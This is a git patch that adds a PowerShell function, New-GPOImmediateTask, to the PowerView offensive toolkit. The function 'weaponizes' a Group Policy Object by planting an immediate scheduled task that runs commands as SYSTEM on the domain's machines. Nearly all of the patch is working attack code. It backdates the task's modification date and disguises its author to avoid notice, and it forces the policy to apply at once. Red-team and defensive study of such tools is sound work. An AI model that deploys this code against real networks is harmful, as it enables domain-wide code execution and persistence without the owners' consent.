From 6c2e397e3d1ba6dd0afe0ee5e368760d471301d7 Mon Sep 17 00:00:00 2001
From: William Bruneau <william.bruneau@epfedu.fr>
Date: Thu, 25 Apr 2019 13:14:24 +0200
Subject: [PATCH] Powerview: reintroduce New-GPOImmediateTask

---
 Recon/PowerView.ps1 | 450 ++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 450 insertions(+)

diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1
index 2dc5234a..7a1e39a9 100755
--- a/Recon/PowerView.ps1
+++ b/Recon/PowerView.ps1
@@ -14159,6 +14159,456 @@ Ouputs a hashtable representing the parsed GptTmpl.inf file.
     }
 }
 
+function New-GPOImmediateTask {
+<#
+.SYNOPSIS
+
+Builds an 'Immediate' schtask to push out through a specified GPO.
+
+Authors: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainGPO
+
+.DESCRIPTION
+
+Builds an 'Immediate' schtask to push out through a specified GPO.  First an
+XML file is created here
+'<GPO path>\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml'.
+This XML file contains configuration for our 'Immediate' task such as which
+command will be run with which account.
+Furthermore, for the 'Immediate' task to be run we need to update the
+gPCMachineExtensionNames or gPCUserExtensionNames attribute of the GPO object
+with the GUID corresponding to an 'Immediate' task.
+Finally, the versioNumber must be updated both in the GPO object and the
+GPT.ini file if we want the 'Immediate' task to be applied without 'gpupdate
+/force'.
+Greatly inspired from https://labs.mwrinfosecurity.com/tools/sharpgpoabuse/.
+
+.PARAMETER TaskName
+
+Name for the schtask to recreate. Required.
+
+.PARAMETER Command
+
+The command to execute with the task, defaults to 'powershell'.
+
+.PARAMETER CommandArguments
+
+The arguments to supply to the -Command being launched.
+
+.PARAMETER TaskDescription
+
+An optional description for the task.
+
+.PARAMETER TaskAuthor
+
+The displayed author of the task, defaults to 'NT AUTHORITY\System'.
+
+.PARAMETER TaskRunAs
+
+The security context under which the task is run, defaults to 'NT AUTHORITY\System'.
+
+.PARAMETER TaskLogonType
+
+The logon type used by the task (mainly S4U or InteractiveToken), defaults to 'S4U'.
+
+.PARAMETER TaskRunLevel
+
+The privilege level asked for by the task, defaults to 'HighestAvailable'
+
+.PARAMETER TaskModifiedDate
+
+The displayed modified date for the task, defaults to 30 days ago.
+
+.PARAMETER GPO
+
+A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'),
+GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}').
+
+.PARAMETER Domain
+
+The domain to query for the GPOs, defaults to the current domain.
+
+.PARAMETER SearchBase
+
+The LDAP source to search through
+e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local"
+
+.PARAMETER Credential
+
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target.
+
+.PARAMETER SearchBase
+
+The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+Useful for OU queries.
+
+.PARAMETER Server
+
+Specifies an Active Directory server (domain controller) to bind to.
+
+.PARAMETER SearchScope
+
+Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
+
+.PARAMETER ServerTimeLimit
+
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
+
+.PARAMETER Target
+
+Specifies if the immediate task will be configure for the user or machine part of the GPO.
+
+.EXAMPLE
+
+PS> New-GPOImmediateTask -TaskName Debugging -GPO SecurePolicy -CommandArguments '-c "123 | Out-File C:\Temp\debug.txt"' -Force
+
+Create an immediate schtask that executes the specified PowerShell arguments and
+push it out to the 'SecurePolicy' GPO, skipping the confirmation prompt.
+
+.EXAMPLE
+
+PS> New-GPOImmediateTask -GPO SecurePolicy -TaskName MyTask -Remove -Force
+
+Remove immediate task named 'MyTask' from the 'SecurePolicy' GPO, skipping the confirmation prompt.
+#>
+    [CmdletBinding(DefaultParameterSetName = 'Create')]
+    Param (
+
+        [Parameter(ParameterSetName = 'Create', Mandatory = $True)]
+        [Parameter(ParameterSetName = 'Remove', Mandatory = $True)]
+        [String]
+        [ValidateNotNullOrEmpty()]
+        $TaskName,
+
+        [Parameter(ParameterSetName = 'Create')]
+        [String]
+        [ValidateNotNullOrEmpty()]
+        $Command = 'powershell',
+
+        [Parameter(ParameterSetName = 'Create')]
+        [String]
+        [ValidateNotNullOrEmpty()]
+        $CommandArguments,
+
+        [Parameter(ParameterSetName = 'Create')]
+        [String]
+        [ValidateNotNullOrEmpty()]
+        $TaskDescription = '',
+
+        [Parameter(ParameterSetName = 'Create')]
+        [String]
+        [ValidateNotNullOrEmpty()]
+        $TaskAuthor = 'NT AUTHORITY\System',
+
+        [Parameter(ParameterSetName = 'Create')]
+        [String]
+        [ValidateNotNullOrEmpty()]
+        $TaskRunAs = 'NT AUTHORITY\System',
+
+        [Parameter(ParameterSetName = 'Create')]
+        [String]
+        [ValidateNotNullOrEmpty()]
+        $TaskLogonType = 'S4U',
+
+        [Parameter(ParameterSetName = 'Create')]
+        [String]
+        [ValidateNotNullOrEmpty()]
+        $TaskRunLevel = 'HighestAvailable',
+
+        [Parameter(ParameterSetName = 'Create')]
+        [String]
+        [ValidateNotNullOrEmpty()]
+        $TaskModifiedDate = (Get-Date (Get-Date).AddDays(-30) -Format u).trim("Z"),
+
+        [Parameter(ParameterSetName = 'Create')]
+        [String]
+        [ValidateNotNullOrEmpty()]
+        $TaskGuid = [Guid]::NewGuid(),
+
+        [Parameter(ParameterSetName = 'Create')]
+        [Parameter(ParameterSetName = 'Remove')]
+        [String]
+        $GPO,
+
+        [Parameter(ParameterSetName = 'Create')]
+        [Parameter(ParameterSetName = 'Remove')]
+        [ValidateSet('Machine','User')]
+        [String]
+        $Target = 'Machine',
+
+        [Parameter(ParameterSetName = 'Create')]
+        [Parameter(ParameterSetName = 'Remove')]
+        [String]
+        $Domain,
+
+        [Parameter(ParameterSetName = 'Create')]
+        [Parameter(ParameterSetName = 'Remove')]
+        [Management.Automation.PSCredential]
+        $Credential,
+
+        [Parameter(ParameterSetName = 'Create')]
+        [Parameter(ParameterSetName = 'Remove')]
+        $LDAPFilter,
+
+        [Parameter(ParameterSetName = 'Create')]
+        [Parameter(ParameterSetName = 'Remove')]
+        [String]
+        $SearchBase,
+
+        [Parameter(ParameterSetName = 'Create')]
+        [Parameter(ParameterSetName = 'Remove')]
+        [String]
+        $Server,
+
+        [Parameter(ParameterSetName = 'Create')]
+        [Parameter(ParameterSetName = 'Remove')]
+        [String]
+        $SearchScope,
+
+        [Parameter(ParameterSetName = 'Create')]
+        [Parameter(ParameterSetName = 'Remove')]
+        [String]
+        $ServerTimeLimit,
+
+        [Parameter(ParameterSetName = 'Create')]
+        [Parameter(ParameterSetName = 'Remove')]
+        [Switch]
+        $Force,
+
+        [Parameter(ParameterSetName = 'Remove')]
+        [Switch]
+        $Remove
+    )
+
+    BEGIN {
+        $SearcherArguments = @{}
+        if ($PSBoundParameters['GPO']) { $SearcherArguments['Identity'] = $GPO }
+        if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
+        if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
+        if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
+        if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $Domain }
+        if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
+        if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
+        if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+    }
+
+    PROCESS {
+        # enumerate the specified GPO(s)
+        $GPOs = Get-DomainGPO @SearcherArguments -Raw
+
+        if(!$GPOs) {
+            Write-Warning '[New-GPOImmediateTask] No GPO found.'
+            return
+        }
+
+        ForEach($GPORaw in $GPOs) {
+            $GPOEntry = $GPORaw.GetDirectoryEntry()
+            $ProcessedGPOName = $GPOEntry.Name
+            Write-Verbose "[New-GPOImmediateTask] Trying to weaponize GPO: $ProcessedGPOName"
+
+            $TaskPath = Join-Path $GPOEntry.gPCFileSysPath "\$Target\Preferences\ScheduledTasks\"
+            $TaskXMLPath = Join-Path $TaskPath "\ScheduledTasks.xml"
+
+            if($Remove) {
+                if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Removing schtask at $TaskXMLPath")) {
+                    return
+                }
+
+                if (Test-Path $TaskXMLPath) {
+                    # remove our immediate task from scheduled tasks XML file
+                    $TaskXML = [xml](Get-Content -Path $TaskXMLPath -Encoding ASCII)
+                    $OldImmediateTasks = $TaskXML.ScheduledTasks.ImmediateTaskV2 | where name -eq $TaskName
+                    ForEach ($OldImmediateTask in $OldImmediateTasks) {
+                        $Null = $TaskXML.ScheduledTasks.RemoveChild($OldImmediateTask)
+                    }
+                    $TaskXML.Save($TaskXMLPath)
+
+                    if ($TaskXML.ScheduledTasks.ChildNodes.Count -eq 0) {
+                        Remove-Item -Path $TaskXMLPath -Force
+
+                        # remove GUID for ImmediateTask from gPCMachineExtensionNames
+                        # or gPCUserExtensionNames
+                        if ($Target -eq "Machine") {
+                            $extensionNames = "gPCMachineExtensionNames"
+                        } else {
+                            $extensionNames = "gPCUserExtensionNames"
+                        }
+
+                        $ZeroGuid = "00000000-0000-0000-0000-000000000000"
+                        $ScheduledTasksCSEGuid = "CAB54552-DEEA-4691-817E-ED4A4D1AFC72"
+                        $ScheduledTasksTEGuid = "AADCED64-746C-4633-A97C-D61349046527"
+
+                        if ($GPOEntry.Properties[$extensionNames] -and $GPOEntry.Properties[$extensionNames].Value.ToString().Contains($ScheduledTasksCSEGuid)) {
+                            $OldExtensionNames = $GPOEntry.Properties[$extensionNames].Value.ToString()
+                            $OldGUIDSplit = $OldExtensionNames.Split('][',[System.StringSplitOptions]::RemoveEmptyEntries)
+
+                            $OldGUIDs = New-Object System.Collections.ArrayList
+                            ForEach ($GUIDs in $OldGUIDSplit) {
+                                $GUIDs = $GUIDs.Split("}{",[System.StringSplitOptions]::RemoveEmptyEntries) -replace "[\{\[\]]", ""
+                                $OldGUID = New-Object System.Collections.ArrayList(,$GUIDs)
+                                $Null = $OldGUIDs.Add($OldGUID)
+                            }
+
+                            $NewGUIDs = New-Object System.Collections.ArrayList
+
+                            ForEach ($OldGUID in $OldGUIDs) {
+                                # updating CSE GUID
+                                if ($OldGUID.Contains($ZeroGuid) -and $OldGUID.Contains($ScheduledTasksCSEGuid)) {
+                                    $Null = $OldGUID.Remove($ScheduledTasksCSEGuid)
+                                    if ($OldGUID.Count -gt 1) {
+                                        $OldGUID = $OldGUID | Sort-Object
+                                        $Null = $NewGUIDs.Add($OldGUID)
+                                    }
+                                # updating tool extension GUID for ScheduledTasks
+                                } elseif (!($OldGUID.Contains($ScheduledTasksTEGuid) -and $OldGUID.Contains($ScheduledTasksCSEGuid))) {
+                                    $Null = $NewGUIDs.Add($OldGUID)
+                                }
+                            }
+
+                            if ($NewGUIDs.Count -gt 0) {
+                                $NewGUIDs = $NewGUIDs | Sort-Object
+
+                                # format for extensionNames field
+                                $FormatedGUIDs = New-Object System.Collections.ArrayList
+                                ForEach ($GUIDs in $NewGUIDs) {
+                                    $FormatedGUID = ""
+                                    ForEach ($GUID in $GUIDs) {
+                                        $FormatedGUID += "{"+$GUID+"}"
+                                    }
+                                    $FormatedGUID = "["+$FormatedGUID+"]"
+                                    $Null = $FormatedGUIDs.Add($FormatedGUID)
+                                }
+                                $NewGUIDsString = -Join $FormatedGUIDs
+
+                                Write-Verbose "[New-GPOImmediateTask] New extensionNames $NewGUIDsString"
+
+                                $GPOEntry.Properties[$extensionNames].Value = $NewGUIDsString
+                            } else {
+                                $GPOEntry.Properties[$extensionNames].Clear()
+                            }
+                        }
+                    }
+                }
+            }
+            else {
+                if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Creating schtask at $TaskXMLPath")) {
+                    return
+                }
+
+                # create the folder if it doesn't exist
+                $Null = New-Item -ItemType Directory -Force -Path $TaskPath
+
+                # build the XML spec for our 'immediate' scheduled task
+                [xml] $ImmediateTaskXML = '<ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="'+$TaskName+'" image="0" changed="'+$TaskModifiedDate+'" uid="{'+$TaskGuid+'}"><Properties action="C" name="'+$TaskName+'" runAs="'+$TaskRunAs+'" logonType="'+$TaskLogonType+'"><Task version="1.3"><RegistrationInfo><Author>'+$TaskAuthor+'</Author><Description>'+$TaskDescription+'</Description></RegistrationInfo><Principals><Principal id="Author"><UserId>'+$TaskRunAs+'</UserId><LogonType>'+$TaskLogonType+'</LogonType><RunLevel>'+$TaskRunLevel+'</RunLevel></Principal></Principals><Settings><IdleSettings><Duration>PT10M</Duration><WaitTimeout>PT1H</WaitTimeout><StopOnIdleEnd>true</StopOnIdleEnd><RestartOnIdle>false</RestartOnIdle></IdleSettings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>true</StopIfGoingOnBatteries><AllowHardTerminate>true</AllowHardTerminate><StartWhenAvailable>true</StartWhenAvailable><RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable><AllowStartOnDemand>false</AllowStartOnDemand><Enabled>true</Enabled><Hidden>false</Hidden><RunOnlyIfIdle>false</RunOnlyIfIdle><WakeToRun>false</WakeToRun><ExecutionTimeLimit>P3D</ExecutionTimeLimit><Priority>7</Priority><DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter></Settings><Triggers><TimeTrigger><StartBoundary>%LocalTimeXmlEx%</StartBoundary><EndBoundary>%LocalTimeXmlEx%</EndBoundary><Enabled>true</Enabled></TimeTrigger></Triggers><Actions Context="Author"><Exec><Command>'+$Command+'</Command><Arguments>'+$CommandArguments+'</Arguments></Exec></Actions></Task></Properties></ImmediateTaskV2>'
+
+                # add our immediate task in scheduled tasks XML file
+                if (Test-Path $TaskXMLPath) {
+                    $TaskXML = [xml](Get-Content -Path $TaskXMLPath -Encoding ASCII)
+                    if ($TaskXML.ScheduledTasks.ImmediateTaskV2 | where name -eq $TaskName) {
+                        if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Overwritting immediate task named $TaskName")) {
+                            return
+                        }
+                        $OldImmediateTasks = $TaskXML.ScheduledTasks.ImmediateTaskV2 | where name -eq $TaskName
+                        ForEach ($OldImmediateTask in $OldImmediateTasks) {
+                            $Null = $TaskXML.ScheduledTasks.RemoveChild($OldImmediateTask)
+                        }
+                    }
+                } else {
+                    [xml] $TaskXML = [xml] '<?xml version="1.0" encoding="utf-8"?><ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"></ScheduledTasks>'
+                }
+                $Null = $TaskXML.ScheduledTasks.AppendChild($TaskXML.ImportNode($ImmediateTaskXML.ImmediateTaskV2, $true))
+                $TaskXML.Save($TaskXMLPath)
+
+                # add GUID for ImmediateTask in gPCMachineExtensionNames or
+                # gPCUserExtensionNames
+                if ($Target -eq "Machine") {
+                    $extensionNames = "gPCMachineExtensionNames"
+                } else {
+                    $extensionNames = "gPCUserExtensionNames"
+                }
+
+                $ZeroGuid = "00000000-0000-0000-0000-000000000000"
+                $ScheduledTasksCSEGuid = "CAB54552-DEEA-4691-817E-ED4A4D1AFC72"
+                $ScheduledTasksTEGuid = "AADCED64-746C-4633-A97C-D61349046527"
+
+                if (!$GPOEntry.Properties[$extensionNames]) {
+                    $GPOEntry.Properties[$extensionNames].Value = "[{"+$ZeroGuid+"}{"+$ScheduledTasksCSEGuid+"}]"+"[{"+ $ScheduledTasksTEGuid+"}{"+$ScheduledTasksCSEGuid+"}]"
+                } elseif (!$GPOEntry.Properties[$extensionNames].Value.ToString().Contains($ScheduledTasksCSEGuid)) {
+                    $OldExtensionNames = $GPOEntry.Properties[$extensionNames].Value.ToString()
+                    $OldGUIDSplit = $OldExtensionNames.Split('][',[System.StringSplitOptions]::RemoveEmptyEntries)
+
+                    $OldGUIDs = New-Object System.Collections.ArrayList
+                    ForEach ($GUIDs in $OldGUIDSplit) {
+                        $GUIDs = $GUIDs.Split("}{",[System.StringSplitOptions]::RemoveEmptyEntries) -replace "[\{\[\]]", ""
+                        $OldGUID = New-Object System.Collections.ArrayList(,$GUIDs)
+                        $Null = $OldGUIDs.Add($OldGUID)
+                    }
+
+                    $NewGUIDs = New-Object System.Collections.ArrayList
+
+                    # add CSE GUID
+                    if (!$OldExtensionNames.Contains($ZeroGuid)) {
+                        $Null = $OldGUIDs.Add(@($ZeroGuid, $ScheduledTasksCSEGuid))
+                    }
+
+                    # add tool extension GUID for ScheduledTasks
+                    if (!$OldExtensionNames.Contains($ScheduledTasksTEGuid)) {
+                        $Null = $OldGUIDs.Add(@($ScheduledTasksTEGuid, $ScheduledTasksCSEGuid))
+                    }
+
+                    ForEach ($OldGUID in $OldGUIDs) {
+                        # updating CSE GUID
+                        if ($OldGUID.Contains($ZeroGuid) -and -not $OldGUID.Contains($ScheduledTasksCSEGuid)) {
+                            $Null = $OldGUID.Add($ScheduledTasksCSEGuid)
+                            $OldGUID = $OldGUID | Sort-Object
+                            $Null = $NewGUIDs.Add($OldGUID)
+                        # updating tool extension GUID for ScheduledTasks
+                        } elseif ($OldGUID.Contains($ScheduledTasksTEGuid) -and -not $OldGUID.Contains($ScheduledTasksCSEGuid)) {
+                            $Null = $OldGUID.Add($ScheduledTasksCSEGuid)
+                            $OldGUID = $OldGUID | Sort-Object
+                            $Null = $NewGUIDs.Add($OldGUID)
+                        } else {
+                            $Null = $NewGUIDs.Add($OldGUID)
+                        }
+                    }
+
+                    $NewGUIDs = $NewGUIDs | Sort-Object
+
+                    # format for extensionNames field
+                    $FormatedGUIDs = New-Object System.Collections.ArrayList
+                    ForEach ($GUIDs in $NewGUIDs) {
+                        $FormatedGUID = ""
+                        ForEach ($GUID in $GUIDs) {
+                            $FormatedGUID += "{"+$GUID+"}"
+                        }
+                        $FormatedGUID = "["+$FormatedGUID+"]"
+                        $Null = $FormatedGUIDs.Add($FormatedGUID)
+                    }
+                    $NewGUIDsString = -Join $FormatedGUIDs
+
+                    Write-Verbose "[New-GPOImmediateTask] New extensionNames $NewGUIDsString"
+
+                    $GPOEntry.Properties[$extensionNames].Value = $NewGUIDsString
+                }
+            }
+
+            # update versionNumber
+            $NewVersionNumber = [Convert]::ToInt32($GPOEntry.Properties["versionNumber"].Value) + 1
+            $GPOEntry.Properties["versionNumber"].Value = $NewVersionNumber
+            Write-Verbose "[New-GPOImmediateTask] New versionNumber $NewVersionNumber"
+
+            $GPOEntry.CommitChanges()
+
+            # also update versionNumber in GPT.ini
+            $GPTPath = Join-Path $GPOEntry.gPCFileSysPath "\GPT.ini"
+            $GPTOldContent = Get-Content -Path $GPTPath
+            $GPTNewContent = $GPTOldContent -replace "Version=.*$","Version=$NewVersionNumber"
+            Set-Content -Encoding ASCII -PATH $GPTPath -Value $GPTNewContent
+        }
+    }
+}
 
 ########################################################
 #